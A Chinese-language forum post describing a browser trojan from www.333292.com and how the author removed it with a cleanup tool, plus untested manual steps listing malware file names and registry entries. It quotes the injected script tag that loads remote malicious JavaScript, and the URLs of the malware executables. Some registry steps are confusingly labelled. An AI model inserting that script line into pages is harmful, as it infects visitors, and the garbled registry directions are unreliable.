轻轻松松让www.333292.com木马见鬼去吧!

中南学子

轻轻松松让www.333292.com木马见鬼去吧!!!!
我MM用过电脑的每个网页上都中了<script language=javascript src=http://www.333292.com/cb.js></script>这段病毒代码。启动电脑n0d32预警:就出现:http://www.333292.com/down/1.exe,http://www.333292.com/down/2.exe,http://www.333292.com/down/3.exe,......29.exe 等29个红色预警:
我马上升级杀毒软件进行全面查杀病毒,但是杀毒软件是查出来了,不能彻底清除.重启了又有了.(360安全卫士或金山清理专家查杀恶意插件.如果在正常模式下无法删除插件,可以开机按F8进入安全模式进行清理插件杀毒完成后,用清理专家进行全面诊断，修复一些注册表和一些残留文件目前大量WEB服务器中毒的同时，即使杀完病毒，还有后遗症就是病毒变种还会感染硬盘上所有以html，htm，asp等网页文件，如：333292.com在网页文件尾部加入如等病毒代码，这行代码只是起到一个网页跳转的作用，打开这网页就会跳转到有病毒的网站上，杀软是查不出来的！你电脑上所有的网页文件都不敢直接打开了，解33292.com)木马克星,AUTO专杀,熊猫专杀我都试了没有一点用.
我的解决办法:
1.下载arswphttp://www.arswp.com/download/arswp/arswp.rar(Windows清理助手)
arswp要全盘扫描。下载后 解压安装使用，先升级到最高版本然后清理:全面扫描:
(会提示找一个可清理的对象(风险等级高),但,系统的重要文件(c:/windows/explorer.exe)被替换无法清除)
2.这时你就要从你的系统的备份文件中,或是别人的系统中,提取一个健康的explorer.exe到c:/Program Files/arswp/sif文件夹中再执行Windows清理助手的清理就可以了.(我就是这样搞定的)
3.重启系统.(红色预警框没有了).说明我把它干掉了.

万不得以可手工处理从网上找的我没有试过)
1 、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
(1)使用安天木马防线“进程管理”关闭病毒进程
(2)恢复注册表，显示隐藏的系统文件
[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Advanced]
新建键值：DWORD：\"ShowSuperHidden\"=\"0\"
原键值：DWORD：\"ShowSuperHidden\"=\"1\"

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Advanced\\Folder\\SuperHidden]
新建键值：字串：\"Type\"=\"checkbox2\"
原键值：字串：\"Type\"=\"checkbox\"
(3)删除病毒文件：
%HomeDrive%\\autorun.inf
%HomeDrive%\\ncltkyp.exe %DriveLetter%\\autorun.inf
%DriveLetter%\\ncltkyp.exe
%ProgramFiles%\\CommonFiles
\\MicrosoftShared\\huatatq.exe
%ProgramFiles%\\Common Files
\\Microsoft Shared\\kljimyq.inf
%ProgramFiles%\\Common Files
\\System\\kljimyq.inf
%ProgramFiles%\\Common Files
\\System\\qjineui.exe
%ProgramFiles%\\meex.exe

(4)删除病毒添加的注册表项：
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft
\\Windows\\CurrentVersion\\Run]
注册表值: \"kljimyq\"
类型： REG_SZ
值：\"C:\\Program Files\\Common Files
\\System\\qjineui.exe\"
描述: 启动项，使病毒文件在当该系统的所有
用户登陆该系统时，运行病毒文件。
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft
\\Windows\\CurrentVersion\\Run]
注册表值: \"ncltkyp\"
类型： REG_SZ
值: \"C:\\Program Files\\Common Files
\\Microsoft Shared\\huatatq.exe\"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft
\\Windows NT\\CurrentVersion\\
Image File Execution Options\\被映像劫持的文件名称
注册表值: \"Debugger\"
类型： REG_SZ
值：\"C:\\Program Files\\Common Files
\\Microsoft Shared\\huatatq.exe\"

(5)恢复病毒修改的注册表项目：
[HKEY_LOCAL_MACHINE\\SYSTEM
\\ControlSet001\\Services\\helpsvc]
新建键值：DWORD：\"Start\"=\"4\"
原键值：DWORD：\"Start\"=\"2\"
[HKEY_LOCAL_MACHINE\\SYSTEM
\\ControlSet001\\Services\\SharedAccess]
新建键值：DWORD：\"Start\"=\"4\"
原键值：DWORD：\"Start\"=\"2\"
[HKEY_LOCAL_MACHINE\\SYSTEM
\\ControlSet001\\Services\\wscsvc]
新建键值：DWORD：\"Start\"=\"4\"
原键值：DWORD：\"Start\"=\"2\"
[HKEY_LOCAL_MACHINE\\SYSTEM
\\ControlSet001\\Services\\wuauserv]
新建键值：DWORD：\"Start\"=\"4\"
原键值：DWORD：\"Start\"=\"2\"
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft
\\Windows\\CurrentVersion\\policies\\Explorer]
新建键值：DWORD：\"NoDriveTypeAutoRun\"=\"145\"
原键值：DWORD：\" NoDriveTypeAutoRun\"=\"0\"

(6)恢复病毒删除的注册表项目：
[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001
\\Control\\SafeBoot\\Minimal
\\{ 4D36E967-E325-11CE-BFC1-08002BE10318 }]
注册表值: \"@\"
类型： REG_SZ
字符串：\"DiskDrive\"
[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001
\\Control\\SafeBoot\\Network
\\{ 4D36E967-E325-11CE-BFC1-08002BE10318 }]
注册表值: \"@\"
类型： REG_SZ
字符串：\"DiskDrive\"全部搞定后建议到首页下载ARP防火墙。